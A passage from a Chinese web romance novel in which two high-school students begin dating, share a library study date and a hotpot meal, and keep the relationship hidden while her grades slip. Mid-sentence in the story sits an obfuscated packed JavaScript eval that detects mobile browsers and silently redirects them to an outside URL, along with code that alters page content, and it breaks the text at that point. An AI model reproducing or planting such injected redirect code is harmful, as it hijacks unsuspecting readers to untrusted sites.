她妈妈应了声,“那你快点,爷爷奶奶等下要过来。” “好。” 现在想听你说 想听你说。 洛安深吸了口气,抿着嘴唇,神色认真地开始打字,他不是完全确定,动作很缓,有点迟疑。 洛安:我很喜欢你,我们在一起 对面秒回。 棉花不眠:好 玩不起啊 “哇,你真的谈恋爱了?”钱瑶的声音陡然上升,“谁啊,你不是在老家吗,不会是老家的什么青梅竹马吧?” “怎么可能,我才回来几天,这里人我没有一个认识的。再猜。” “你不会网恋了吧…” “啊…”夏棉棉思索了下,“开学奔现。” “真牛啊。”钱瑶恨铁不成钢,“上学期学长和你表白怎么不答应。” “我怎么敢答应,学校管的这么严,他又搞得好多人知道了,那个时候我都害怕老班又找我。况且,”夏棉棉说,“最重要的是我不喜欢他啊。” “这个就喜欢了?” “挺喜欢的。” “等等,网恋。”钱瑶在脑里呐喊真相永远只有一个,“这个人不会是那个打野吧??” “是啊。” “……挂了,写作业去了。” 夏棉棉放下电话,心情有点好。发了会呆,不知道想到了什么,捂着脸撞桌子。 王雯的消息让她突然想通,谈恋爱又不是要走到最后的,她从来都是这么想的,怎么会纠结人家对她感情到底深不深,他们能走多远呢。 及时行乐罢了。 不过握住笔开始写作业的夏棉棉,一时间觉得自己充满了力量,早点写完回去还能有时间见洛安。 晚上躺在床上,还有点恍惚,不知不觉点开微信,洛安刚刚发了句晚上好。 说起来,他们昨天在一起之后,除了今早的早安,没有任何交流。 这可不行,夏棉棉想,感情还没热烈就熄灭了。 棉花不眠:晚上好啊! 瞧瞧这语气,和之前完全不一样,妥妥的软甜女朋友,我可真敬业。她刚感叹完,洛安的语音通话就跳了出来,吓得差点把手机扔出去。 “咳咳。” 夏棉棉清清嗓子接听,“喂。” “…喂。”洛安声音有点抖,“你吃晚饭了吗?” 夏棉棉差点笑出声,憋着笑意,“哥,现在是晚上九点了,肯定吃饭了啊。” “哦哦。”洛安顿了一秒说,“抱歉我还有点紧张。” 闹这一出,夏棉棉是完全不紧张了。再脑补下洛安说这句话的神情,就笑得蜷缩成一圈。 救命啊,怎么憨憨的。 “你在笑吗?”洛安想她也看不见,害羞地抓抓头发,“有点蠢。” “嗯?我有点蠢?” “不是,是我蠢。” “注意言辞啊洛安,是你追的我哦!”这句话威胁意味十足,可夏棉棉明明是弯着眼睛说的。 “好。”洛安很配合,语气轻柔,“我追的你。” 也不知道聊什么,但是干巴巴的话从洛安嘴里说出来就都很好玩,很可爱很好笑。 感觉没怎么聊就快十一点了,夏棉棉嘴角一直上扬,和洛安互道晚安之后直接打给钱瑶。 “救命啊,钱瑶~” 钱瑶:? “你这语气,好奇怪。” “哎呀,哪里奇怪了。” 钱瑶,“真的很奇怪,好软哦。” “这个啊,可能我刚和男朋友打完电话吧…” 钱瑶:??? “……如果知道谈恋爱是这样的,我早知道就早点……” “晚安睡了。”说完直接挂,好像有猛兽在追一样。 “钱瑶?” 夏棉棉给手机插上电,嘟囔了声,“玩不起啊。” 夏爸爸年假短,他们初五就回了满城。洛安知道了之后一直追问夏棉棉作业写完了吗。 “干嘛问我这个,你写完了来炫耀?”夏棉棉很警觉。 “不是,”洛安表真心,“我没写完,基本没动。” “哈哈,我写了没想到吧,只有数学卷子了。干嘛,不给抄,自己写!” 夏棉棉看着堆叠在一起的试卷,一点不心虚,底气十足。 “这样啊,本来想和你一起写的,”洛安声音听起来很委屈,“那你出来陪我写好不好?” “啊……” “好不好?” 这,这谁听了不迷糊啊,好奶…… 洛安以为她不答应,“不说话就是答应了,图书馆十点,不要赖床太久。” 说完秒挂了电话,留的夏棉棉无语地盯着电话记录。不是说等着对面挂是细节吗,男朋友你没有细节啊。 再问一句她不就答应了吗? 傻。 在一起之后第一次见面,等于第一次约会。第一次约会就是一起写作业,朴实无华。 夏棉棉越想越气,洛安真不愧是“朴实无华转学生”! 数学卷子是准备抄班长的,他总是会在最后几天把答案发到小群里,救他们一命。可说出的话泼出的水,说的是话,泼的是面子。夏棉棉觉得这不仅仅是面子,还是尊严问题,所以最后还是只带了数学卷子。 薄薄十张,展现了数学的魅力。 洛安说自己在二楼外国文学边上的单人桌占了座,让夏棉棉不要着急。过年期间的图书馆人意外的多,大家都这么爱学习的吗? 夏棉棉尽量压低脚步声,手里拎着两杯热腾腾的摩卡。洛安好像不太喜欢喝奶茶,写作业的话又容易困,选择摩卡,小细节小乖巧小贴心拿捏得死死的! 穿搭也是保暖和小心机并存,八孔马丁靴,短款羊羔绒外套,紧身黑色牛仔裤,柔顺的长发上别了糖果色的发卡,粉色胖丁小包,看起来又飒又甜。 ——虽然可惜了四折的卷子——为了放进胖丁包里只能委屈了。 但,更加成功地展现出了专门来谈恋爱的目的。她心里默默夸赞自己,真不错夏小棉,虽然是第一次谈恋爱,但是理论知识丰富,一点也不露拙。 找了好久的外国文学,有点越走越偏的感觉。难道是要做些什么,接吻什么的吗,这么快吗。 夏棉棉脸有点红,而且单人桌什么的,只有一把椅子啊…… 洛安先看到了她,向她摆摆手,笑得很甜。夏棉棉内心泪流满面,隐形眼镜,不错过细小的美好。 她走过去把其中一杯摩卡递给他,东西还没放到桌子上,洛安就指了指前面的单人桌。 他小声用气音解释,“我给你占的。” 夏棉棉:?hello?你在说什么? 她不想再看见洛安,飞快地把他用来占位的书丢给他,闷头坐下。 既然不是一起坐,前面圆桌不好吗,还有不少空位呢! 夏棉棉不受控制地脑补,洛安戴着古板的圆眼镜,指着小黑板:你是不是恋爱脑啊,好好读书,学生的职责是恋爱吗,是读书! 啊啊啊,死骗子。 她现在就像立马打开知乎,用自己的血泪,刻骨铭心的教训,写下《无知少女竟被学习绑架,主使人是其男友!》。 后面传来椅子移动的声音,洛安走到她边上,弯腰问她,“你是不是……” “嗯?”夏棉棉猛地抬头,这熟悉的句式。 洛安看着她,“……不高兴?” “没有,你怎么总是觉得我不高兴?” “因为你没有回我消息。”洛安小声地控诉她,“是没有看到吗?” 你为什么离我那么远啊 洛安在两分钟前发给她的。 洛安安:写到中午去吃饭 洛安安:想吃什么? 这情侣名一样的备注,这周到的约会安排。很好,夏棉棉一点儿郁闷都不剩了。 棉花不眠:恰火锅,本来和钱瑶说好要吃的 棉花不眠:馋 洛安安:好 洛安安:就恰火锅! 开心地放下手机,绝望地打开包,颤颤巍巍地开始写数学试卷。 一念神魔,一秒天堂地狱。 洛安有意无意地看她,做题速度慢了下来。看见夏棉棉用额头磕试卷,然后被前桌警告后疯狂道歉。 可爱。 洛安拿起手机发消息。 洛安安:不会做? 棉花不眠:猫咪疯狂摇头.JPG 棉花不眠:谁不会做? 夏棉棉木着脸转头,眼刀子biubiubiu地飞过来,警告完飞快转了回去。 洛安安:嗯嗯,不会做先空着,到时候我教你 棉花不眠:猫咪抹泪.JPG 棉花不眠:你竟然看不起我 洛安安:没有 洛安安:做题做题 等夏棉棉重新拿起笔,洛安才把视线转向自己那道看了一半的大题。 中午十一点半洛安看她没动静,耐心地等到十二点才发消息提醒她要去吃饭了。 夏棉棉饿地后知后觉,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353453|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身问洛安,“东西留在这占座吗?” “不用了,”洛安轻声说,“火锅得吃一会儿,占着也不好,到时候还想在图书馆写的话,圆桌一直都有位置。” “好。”夏棉棉听话地转回去收拾东西。 火锅点的鸳鸯锅,辣和番茄。 “你不能吃辣吗?”夏棉棉随意点了几个肉,看见汤底随口问他。 洛安撑着头,懒懒地,“等下让服务员盛番茄汤,再加点牛肉粒,你尝尝。” “我喝过,也还好吧。”夏棉棉思索了下,“主要是到最后两个汤都会混在一起,鸳鸯辣锅。” 头顶是暖色的灯光,店里开了空调暖烘烘的,气氛慵懒,夏棉棉有点困了。 洛安已经把外套脱了,用公筷在下菜。 不知道是谁后坐的,两个人面对面地坐着,肢体交流基本不可能。 夏棉棉又饿又困,饿和困很难分出输赢。 这种时候容易脸皮厚点,事后总结的时候她想。 “你为什么离我那么远啊?” 洛安正在下虾滑,闻言动作停了,“坐的远吗?” “对啊!”夏棉棉理所当然地说,“你不应该坐我旁边吗?你是我男朋友诶,好不积极啊。” “是你自己坐我对面的,我也不想这么远。”洛安把自己的碟子往那边移,带上衣服很快坐到了她边上。 “我以为你不想离我太近。” 夏棉棉睁大眼,“我哪有!” “你有。”洛安继续下虾滑,“虾滑一边下了一半...进来服务员让我们坐这里的时候,我站在位置上和他说话的时候,你自己就坐到了我对面。” “可是你没坐下啊,我以为你只是和他说话呢,再说了,这里是沙发,正常人肯定坐沙发啊。” “那下次我会问你的。”洛安放下筷子,认真地说。 “问我干嘛,应该直接坐我旁边啊。”夏棉棉说,“好奇怪啊你这话。” “有时候可能你不太想看见我...”洛安解释说,“看见我就生气的话我觉得还是远一点你会好一点。” 越说越离谱。 夏棉棉说,“你这话语句逻辑都有问题...好吧逻辑可能没问题,但是我,你要是敢在我生气的时候故意离我很远,我会更生气。我生气你不会哄我吗,你之前觉得我生气不还吧唧吧唧地买奶茶哄我吗?是啊,你不是很会哄吗?” 洛安不知道怎么回答,“没有...之前是...之前是尝试,而且我好像很容易误解你的情绪。感觉你不高兴了,你都说没有不高兴,我不太...” “说了你就信?”夏棉棉也懒得想起因是因为什么了,直接打断,她现在被直男发言惹急了。 “那我说分手你也信,你也答应?” 这话说的太重了,以至于她说完两个人都沉默了。 “对不起...” “对不起。” 夏棉棉盯着翻滚的火锅,手指蜷进掌心,指甲微微陷进肉里,丝丝麻麻地痛。 “我...不想这么说的,就是...” 洛安靠近她,把她握成拳头的手放进手心,“先吃,是不是饿死了。” 火锅是个好东西。就算场面尴尬冷它自己就可以热闹起来。 夏棉棉的手还搁在洛安掌心,她小心翼翼地松开,刚动一下就被他发现,紧接着手指强硬地挤进她的指间,直至十指相扣。 她惊诧地看他,肥牛还夹在筷子上。 洛安若无其事地用左手拿筷子去夹肉,“感觉你喜欢我主动。” 后面及时手心微微出汗了,洛安也没放开。严格来说这次是第一次带有亲密的肢体接触,他的手掌又大又热。 夏棉棉吃饭的时候不喜欢说话,但是刚刚自己的那句话让她很难受,太刺耳了,不解释点什么自己都过不去。 “我刚刚说的是气话。” “我知道。下次不要说了,有点难过。” “好...你说什么对不起啊?” 洛安抿抿嘴,“嗯,让你不高兴了。” “没有...”夏棉棉更加不好意思了,“是我对你苛刻了,你问我是不是生气的时候,确实都有点郁闷,不算生气...应该说是不太高兴。哎呀其实我情绪有时候就是比较多,可能比较敏感吧。语气重一点,用词出点差错就这样,对不起啊...” “没事。”洛安觉得这也不用对不起。 想说夏棉棉对同学都看起来没脾气,对他这样更是说明有把他当成可以发脾气的人。虽然恋爱没谈过,女生情绪感知不透彻,但洛安真实地认为女生发脾气是正常的,况且大多时候的发脾气更像是撒娇。 夏棉棉知道自己的问题,初中时候青春期和父母大吵大闹甚至打架,现在好一点了,就是对家里人态度没外面好。也在努力平衡了。 她自嘲地笑笑,“我这种就叫窝里横。我还在热搜上看到过,然后大家都说不会和这样的人做朋友,但我真的挺久没...” “挺好的。” 夏棉棉以为自己听错了,“你说什么?” 洛安和她对视,重复了一遍,“挺好的。至少我是窝里的是吧。” “你真是...” 这是在撩人吧?这是在撩人吧! 夏棉棉先承受不住转头了,一桌子的菜,下都没下完一半。也不想再想是不是因为刚在一起,因为有点热恋感觉,所以才会说出这样的话,多巴胺上头的原因...等等等,都不想想。 只觉得甜的要冒泡。 恋爱的腐臭味。 夏棉棉甚至看到了隔壁桌,包括服务员频频转头过来看他们。 她动动被扣住的手,“先吃饭,菜都没下完...” “好。”但是没放。 “人家在看,而且都怪你!”夏棉棉把手抽出来,凶巴巴地说,“就因为你,我连蘸料都没去配!” 洛安乖巧地问她,“要不要现在去?” “不要!不搞了!” “好。” 下次给亲吗 下午还是在图书馆写作业。最好四点前回去,夏棉棉今天出门给的理由是和钱瑶约火锅写作业,其实行程也差不了多少,可本质差的远了去了。精心打扮还被怀疑了,只能含糊糊弄了几句飞快逃出门。 “就这里吧,怕我妈看见。” 洛安点头,“你说的我都会记住,不会因为同样的事情让你生气的。” “啊…”怎么又提起这事,夏棉棉摸摸脸,“好。” 他还想说些什么,但小姑娘的承受能力好像濒临阈值了,还是算了。 “到家了和我说下。” 夏棉棉摆摆手,“好。” 夏妈妈在厨房,听见开门的声音立马停下切菜的动作,举着刀出来。 夏棉棉的笑容一僵,“妈你干嘛?冷静。” “哦,忘记放了。”夏妈妈满不在意,“我还是想不通,你什么时候出门要打扮了?” “哎呀妈,长大了啊,这不是很正常吗?”夏棉棉满脸无语,“女孩子爱漂亮不是很正常的吗?” “真的?”夏妈妈一脸不信,“你终于知道打扮了?” “真的啊,妈你快做饭去吧,哎呀我爸等下回来了!”夏棉棉推着她的腰往厨房走。 “你爸的案子资料没查完,今天加班,你这事我还是觉得奇怪。” “哎呀妈,你怎么想这么多,就很正常的长大了!” 终于搞定,夏棉棉扑到床上,埋着脸喘息。刚才在重重炮火中,夏小棉依然用冷静面对,演技精湛,丝毫看不出来破绽。 真不错。隐瞒成功后还有一种偷情的错觉。 瞎说的。 洛安真好看真好看。 这才想起来还没和他报平安。 夏棉棉:到家了到家了! 夏棉棉:安全抵达,你呢? 洛安安:我刚进小区 夏棉棉:快去看看我的微信名 洛安安:改成你的名字了 洛安安:看到了 夏棉棉:给洛安的备注截图.jpg 夏棉棉:是不是很配? 洛安安:我也改 夏棉棉:你微信有加班里其他人吗 洛安安:没有吧 洛安安:班主任? 夏棉棉:应该没事,看不出来的 夏棉棉:老班不会这么细节 洛安安:我改好了 洛安安:那道题你到时候再做一次,感觉你还是不太会 洛安安:有一个知识点,我整理完发给你 夏棉棉:这么又是学习 洛安安:考一个学校 洛安安:冲冲冲.jpg 夏棉棉:好吧 夏棉棉:但是我又一个问题 洛安安:什么问题 夏棉棉:下次给亲吗qaq 夏棉棉:给吗 洛安正在开门,看到这一句钥匙都差点掉地上。 夏棉棉:啊都不给亲 夏棉棉:男朋友不给亲 夏棉棉:喂警察叔叔吗.jpg 夏棉棉:我报警了,这不是小事 洛安安:给的 洛安安:我到家了就这样 夏棉棉抱着手机笑,肯定害羞了。真有趣。 虽说是故意说了会让他害羞的话,但是得到了想要的反馈还是很高兴。 她重新看了聊天记录,觉得自己有点不对劲。故意发带有不答应就哭唧唧意味的消息,这么看还是从前博弈的习惯。 哎,好烦啊。 写作业吧写作业吧。卷子还没写完呢……呸,都回来了谁还写数学卷子,语文不香吗? 被洗脑了吧夏棉棉,是吃晚饭啊。 一中开学是全满城最早的,他们返校的时候高三已经补了好几天课了。寒假笼统也就二十来天,那次之后也没有出门见面了,只能靠电话增进感情这样。 开学前三天,早早开始写作业的夏棉棉还是不争气地抄了一部分班长的答案。再次感叹班长好人,跟着人群一起在小群里发班长爱你的表白,边笑边打字和冒泡的王雯插科打诨。 洛安突然打了视频电话来。这还是第一次。 夏棉棉紧急照了下镜子,还可以,头发也是昨天洗的。 一接通洛安的脸就放大出现,他看见夏棉棉顿了下,“点错了,那视频电话可以吗?” 夏棉棉把手机固定在手机架上,“可以。” 然后笑着离远看他,“在?看看帅哥笑。” “什么啊?”洛安笑着说,下意识拨播刘海,开学前得去剪短。 “哇这么敬业啊,不仅表演帅哥笑,还表演帅哥害羞!” 夏棉棉趴在桌子上笑,洛安好像坐在飘窗上,跟着她一起笑。 “不是刚打完电话吗?这么想我啊?” “有吗?挺久了吧,而且我看到你在小群里玩梗,没在学习接我电话这么了?” 洛安说话的时候故作自然,眼神一直乱飘,最后假装去看题,“你给秦袁毅表白,为什么不向我要答案?” “你看到了?我以为你没在群里,大家都这么发了。”夏棉棉笑嘻嘻地凑近,“下次找你要,你会给吗?” “不会。”洛安,“假期作业其实目的是为了让学生不要把知识忘光……” 说着说着他的声音就弱了下去,因为夏棉棉在瞪他。 “我会和你一起写……” “下次直接说会做什么好吗,不然我会揍你的。”夏棉棉挥挥拳头,“班长多好,一看未来就是不错的男朋友。” 洛安抿抿嘴,“那你找我干嘛,找秦袁毅……” “真吃醋啦!洛安,洛安安,”夏棉棉说,“哎呀怎么啦,夸人家几句都不成,那你还,就这么几天假都要我一直学学学呢,我就像是给自己找了个老师。洛老师,洛安安,安安,宝贝,宝……” “我在,别喊了心慌,”洛安人都快出摄像头的取景了,“是,是听你夸别人吃醋。” “好可爱啊,怎么这么可爱呢,洛安啊——” “嗯……” “下次不夸别人了,就夸你!”夏棉棉接着说,“帅哥下次可以亲亲嘛,亲亲嘛。” “咳。”洛安完全出镜头了,缓了缓才闷声说,“可以。” 下一秒就跳回了聊天界面,他把视频挂了。 这时候夏棉棉就会觉得自己是个罪人,老色批竟敢这样做!但是没办法,洛安的反应她真的太喜欢了,要是之后不害羞了怎么办啊。 托班长大人的福,他们班寒假作业全都交齐了。 班里乱糟糟的,一个寒假没见一个个都亲热的很,大喊大叫。 钱瑶戳戳夏棉棉,等人转头,凑过去贱兮兮地问,“开学了你和你小男朋友见面了吗?” 夏棉棉闻言下意识往洛安的方向看,体委不知道和洛安在说些什么,他在垂眼笑,感知到视线,抬眼和她撞了个正着,愣了下冲她弯弯眼,鹿一样。 “怎么啦,说起男朋友就发呆?” “没,”夏棉棉掩饰性地笑笑,“见到了。” “哇!”钱瑶轻叫了声,凑得更近了,“一中的?一开学就见着了,我不会有机会可以瞅到美女男友吧!” “再说再说,有机会见到让他请喝奶茶。” 钱瑶比大拇指,“真不错。” “说什么呢?”王雯打了个哈欠,“你们昨天没补作业啊,真的大晚上又从书包里翻出五张试卷,我都快崩溃了,要不是有班长,我边抄边对班长表白。” “那还好吧,是数学试卷的话,一小时不到就可以搞定!”夏棉棉骄傲地说,“班长的步骤能简化就简化,班长答案啥都好,就是写的太规范了。” “虚,这话别让班长听到,我的答案要是没了明天就暗杀你!”钱瑶比了个抹脖子的动作,“得了便宜还卖乖啊夏棉棉。” “班长也就寒暑假发发答案,你担心什么。不过我懂班长的苦心,就是为了让我们抄的时候能多学点,感动——” 王雯皱眉,嫌弃极了,“夏棉棉你正常点。” 钱瑶赞同,“太做作了。” “你们!”夏棉棉捂着心口,突然转向万丰,“皇上!你快评评理啊皇上,她们欺负臣妾,她们欺负臣妾啊!贵人欺负贵妃,这还有天理吗?” 万丰:??? 万丰一面懵,“莫挨我啊,我只是路过。” 王雯说,“你怎么成贵妃了,我们还只是……” 班里不知道什么时候安静了,福至心灵,四个人瞬间坐正装作无事发生。 老班晃悠晃悠走了过来,“怎么又是你们这一堆啊?” “嗯?夏棉棉,寒假宫廷剧看的不少吧?” 夏棉棉哪敢说话,怎么又盯着她狙击。刚刚体委还在后面比投篮,边上一群人起哄,怎么就被忽略了?!是体委站的还不够高吗老班!! 她表面风平浪静,内心歇斯底里。 可惜 老班也没追究,“我知道你们放假回来心都野,明天全课都要开学考,自己看着办啊!” “寒假作业都交完了,然后班长上来下……” 夏棉棉松了口气,腰塌了下来,和王雯交换了个劫后余生的眼神。 放学回家,王雯和她一起走出校门,摆摆手往反方向离开。 夏棉棉往前走了一条街,看到站在路牌边的人。在看手机,时不时抬眼望一眼路口,没看到等的人,又垂眼。满城的冬天一年比一年温暖,少年穿着芋泥紫的厚卫衣,外面是深蓝色的冬季校服,背着书包,和蓝色的路牌、萧索的梧桐树一起,组成了专属于夏棉棉的风景。 她没忍住,用手机拍了下来。 然后跑过去,洛安听到声音,收起手机,张开手臂抱住扑过来的女孩。 夏棉棉紧紧抱住他的腰,不仅闻到了洗衣液的味道,甚至因为离得近,洛安的体温胸腔的震动都能感受到。 “有没有等很久?”夏棉棉闷声问他,“钱瑶让我给她带早饭,说饭团加什么加什么的,她又不带手机来学校的,又觉得我记不住要写纸条给我,然后就耽搁了七八分钟。” “我以为开学可以经常在一起的,”洛安叹气,“一早到班里连话都没说上一句,还听见你叫别人皇上,什么时候进的宫,嗯?” “他是姐妹,我玩个梗,”夏棉棉站直,拉住洛安的手往前走,“再说了,别以为我不知道,你又在后面看我笑话,你说这老班也是绝了,一天天的就跟在我身上装了雷达一样!” “这说明你和同学聊天打闹的时间太多了,随便就能碰上。” “……你哪边的啊!” 本以为以后都能一起回家了,没想到正是热恋的时期,就迎来了当头一棒。 其中考后面是运动会,夏棉棉也不报项目,可以喜滋滋地坐在班级区域里玩手机,但苦难总是先来一步。期中考成绩先出来了。 夏棉棉从年级两百多名到了三百五十名,在班里更是掉下去好大一截。开学挺久了,大家的心都收回来了,就她看起来就不在状态。 数学来了个新老师,有时候夏棉棉上课不在状态就会被点出来,也经常因为试卷没有修改完延迟放学。 新老师说,“夏棉棉,就你这还不住校啊。”但更多时候像是用嘲讽的眼神在看她。 这可能是好老师,可更直观的感受是这个老师不喜欢她,她也不喜欢这个老师,更甚是有点害怕。 老班也没找她谈话,就在课上含蓄地说了下班里有同学退步,然后开始说运动会入场式随便练一练就成。 周围人想来安慰,夏棉棉都笑着说没事,回家路上也没和洛安分享心情。 “其实……”洛安几乎每天都在等她,也不先走,大概也知道点,不知道怎么开口安慰。 “没事,”夏棉棉打断他,“下次努力就好了,其实我本来就中等成绩,掉了一百多名而已。” 洛安皱眉,这话听得人火大,但是夏棉棉的状态更让人担心。 “明天开运动会,我给你带零食,到时候偷偷给你。” 直到现在也没有人直到他们在谈恋爱。 回到家,父母不知道是不是已经收到了消息,有点沉默严肃。 饭桌上,夏妈妈先开口,“你们老师打电话过来说你退步了,说最近是不是状态不太好,还问我们有没有反常行为。” “一百多名也还好吧……”夏爸爸刚替女儿开口,直接被打断了。 “你一天天忙的要死知道什么,一百多名,年级总共也就六百多个人,之前放学被留下来做题还说没事没事,一中的两百名也能上个一本大学了,现在直接掉三四百。这补习班还是要上,这状态就没精打采浑浑噩噩的,夏棉棉,你高二马上高三了,怎么就状态越来越差了呢?” 夏棉棉没说话,沉默地夹菜。 夏爸爸打圆场,“退步了棉棉心里也不好受……这补习班你怎么安排,周末去就行了吧。” “这事你别管,我女儿的前途我一定要把关。”夏妈妈转头,冷声说,“下周开始我来接你放学,补习班老师会辅导你作业,你刘阿姨儿子也在那里上,还会管饭的,然后十点结束我再来接你。” 夏棉棉点点头,放下筷子走了。 碗里还有一小半没吃,夏妈妈放大声音问她这做给谁看,夏爸爸赶忙拉着劝慰。 夏棉棉锁了门,抱腿坐在椅子上看试卷,选择题是机器改的,下面人改的题不少被红笔打了叉。 其实这个成绩从之前的随堂考月考中都能看出端倪了,只是那时候大家都状态不好,而她现在还没调整回来。 初中时候是叛逆的,现在倒是厌学了。夏棉棉嘲讽地想,每天只想快点放学和洛安在一起,上课就自己发呆,也不知道为什么就是静不下心。 其实补习班也挺好的,她状态确实挺差的。 洛安收到消息呆了会,回了句好。和夏棉棉早恋是很难的,她要求学校里不能交流,所以基本除了放学之外,两个人没有任何近距离相处的机会。现在是彻底变网恋了。 总的来说,学生就是学习嘛,也没什么不好接受的,只是很想和她腻在一起而已。 运动会也不伦不类的,项目全改了,比的尽是些仰卧起坐引体向上,甚至除了800、1000,所有的长跑都被取消了。洛安只有在中午,才找到机会把一袋零食给她。 夏棉棉呆滞,“你还真带了。” 洛安好笑地摸摸她的头,“这有什么假的,怎么不开心,有吃的都不开心。” “嗯,”夏棉棉把袋子放到课桌上,靠近他抱住,“开心,喜欢你。” “好。” 运动会结束的早,老师也没留多少作业。 夏棉棉从学校出来就看见她妈靠在车边,应该是一直盯着校门口。尽管知道妈妈不会联系到,她还是心虚紧张,洛安和她前后脚走的。 夏妈妈坐回车里,“结束之后你爸回来接你的,没看到他就直接打电话。” “好。” 她果然没问起。 夏妈妈和夏爸爸是大学里认识,然后恋爱,毕业之后结婚。妈妈是大企业的hr,很会看人,甚至学了点心理学。之前不觉得,心虚之后还挺害怕她看出点什么。 放学后加了个补习班其实还挺好的,有不会的题目立马就有老师过来讲解,班里很安静人也很少,手机已经被没收了,夏棉棉更是没分心的理由。 只是可惜没机会和洛安说说话。 你男朋友我认识吗 又一次月考结束,钱瑶狠狠拍了下桌子,班里闹哄哄也没多少人听到,倒是周围这几个吓了一大跳。 “吓死人了钱瑶。”王雯转头抱怨,“考完疯了?还有一年多呢。” 万丰也就被吓了一下,玩笑般说,“早晚都得,没区别,早疯还赚到。” 钱瑶瘪瘪嘴,“想什么呢都,我就突然想到个事情。欸棉棉,和我一起去趟小卖部呗,新出了个草莓软糖,你必须吃我这口安利!” 夏棉棉已经把自己书从架子上拿回来了,整理了一半,闻言想也没想,“我等下还要去补习班。” “小卖部那个距离,十分钟一个来回了!”钱瑶站起身,班里已经有几个人收拾完走了,“今天早放学,你妈肯定没来。” 今天确实是夏棉棉自己去补习班。 “补习班老师说想要月考卷子,他们要给我讲讲,但我们试卷不是收上去了吗,我就想去问问老师能不能给一份。” 钱瑶直接拉她起身,“别想了,到时候试卷会和答卷一起发的,老师还会讲,他没讲的你再去问补习班老师嘛。哎呀那个软糖真的特别好吃,果汁夹心的,走啦走啦。” 走在路上,夏棉棉没忍住问她,“什么牌子的啊,真有那么好吃?” 学校小卖部在宿舍楼一楼,有些住校的一天去三回她也有所耳闻,夏棉棉之前也常去,还是想不到什么糖这么好吃。 钱瑶偏头瞥她,恨铁不成钢,“这一看我就是有事单独找你,怎么就不聪明。” “好好说话啊!”夏棉棉往她腰后一拍,“你那说的我还真以为是安利糖呢。” “不是,我就刚刚想起来,你男朋友呢?”钱瑶刚拍桌那一下的痛还记忆犹新,某人男朋友就快被忘两月了。 夏棉棉打哈哈,“男朋友当然还在喽,这不是学习忙又成网恋了嘛。” “啧啧,我这真看不懂,你说你们不是在一个学校吗,挤一挤时间,缝隙中恋爱都不行吗,我真一点没看出你像有男朋友。我今个看书的时候,扉页上那一男一女瞬间让我想到你男朋友,我真的好奇死了,到底是谁啊?” 钱瑶上蹿下跳,就差没扒拉住她严刑拷打。 “是我们班还是别的班的?当初那野王游戏里真看起来脾气很好,难免状态不好梦游几次,他完全没脾气一样,心态好到爆炸,我们俩组队麦里骂,他就一人公屏上安慰鼓励……欸你们开学到底见没见面……” 夏棉棉停下脚步,指着宿舍楼,“还去不去小卖部了?那糖真有吧?” “真有!”钱瑶接着说,“买要买,八卦我也想听!” 两个人都卖了不少,拎着塑料袋晃悠晃悠地往班里走。一路上迎面走来好多放学的各个年级的学生。 “这时间挑的。”夏棉棉嚼着糖,时不时有视线飘过来。 “就看个美女,你不习惯了吗?” “我又不是superstar……你刚才应该把东西带上,就不用回去了,我还能换条路走。” “那你不得直接走人,我理东西慢死。”而且另一条路就是去食堂的,人更多。 “知道就好。” 钱瑶重新开了一包,“你男朋友我不会真知道吧,我觉得要是默默无闻的你都说了。” 夏棉棉盯着糖的包装,味道还可以,就是甜了点。 然后才无奈地说,“你怎么就这么执着呢?” “要不是一起打过游戏,我还真可能忘了,”钱瑶也无奈,“就天天看网上说野王多丑的,我还真好奇。” 钱瑶走路慢吞吞的,歪着身子一直盯着夏棉棉,看来着实好奇。 夏棉棉说,“是先认识的才玩的游戏,所以严格来说也不是网恋……我们班的,你要不猜猜?” 钱瑶眼睛一亮,飞快回答,“我们班的,你说这我就不懵...体委!班长!学委!我觉得是班长,开学你还夸他呢!” 她越说越觉得的是班长,甚至回忆起那天他们都夸了班长些什么——好像只有造福众生的作业? “再猜。”夏棉棉眨眨眼,打断她的回忆。 钱瑶苦着脸念叨,“这都不对,不会是万丰吧,别吧。还有谁啊,不会是转学生吧?对啊你之前和我说起过他...” 夏棉棉还挺惊奇她还能记起来,“是他,不过洛安都来一年快了,你还叫转学生。” “你们平时一点互动都没有我都快忘了这回事!”钱瑶捂住嘴,降低音量,“我印象里你们都没说过几句话,也就刚来你杠老班能跟他扯点关系。不是吧,我这猪脑子,我应该大胆猜想的!话说洛安真的是帅哥,这说明野王也是有帅的呜呜呜。” 夏棉棉:……都说了不是网恋了,野王帅的概率多低啊。 一时间不知道说些什么,揽着她加快步子往班里走。 藏得好? 笑死,根本没互动。 手机一收,网恋都谈不了了。偶尔和洛安撞上视线,他眼里的可怜巴巴都快溢出来了,夏棉棉甚至后来都不敢往后看时钟,自己戴了手表。 自从钱瑶知道了这事,闲暇时间视线总喜欢在他俩之间飘。 夏棉棉忍无可忍,“钱瑶,你再看下去,你同桌都快把你看出花来了。” “嗐,”钱瑶摆摆手,“别管他。不过这事情可真奇怪,之前不知道的时候吧,觉得你们八竿子打不到一起,现在下课随便瞥瞥,就能看到洛安往这里看。” 她也没想夏棉棉说什么,继续八卦,“昨儿我看见洛安在你后头走的,你们有没有……” 她两只手互相戳戳,暗示性十足。 “昨天……”夏棉棉说,“嗯,一起走了一段路。” 走出校门之后,洛安直接和她并排走在一起。 “你……”夏棉棉被吓了一跳,虽然门口没老师值班,但着实有点大胆。 洛安准确地牵住她的手,手指蹭进她的指间。 “走吧。” 太久没这样,两个人一起了,夏棉棉犹豫着,还是没挣脱。 “等下被看到了。” 洛安低头看她,小姑娘小心翼翼地把周围都观察了一遍,紧张兮兮的。好吧,不想被人知道就藏着吧。 “今天考试,值周的都没来,没事。你补习班不远吧?” “嗯,十五分钟能走到。” 十五分钟,洛安就知道,要是走过一条街才能说上话,怕是只有十分钟不到了。 其实他挺看不懂夏棉棉的,说喜欢也是喜欢他的,但是除开独处的时间,一点也看不出来。他以为自己就已经很冷静了,还是有很多时候想要靠近,侥幸地想,这样走过去不会有人注意的,是不是可以说说话。 夏棉棉总是先一步离开了。 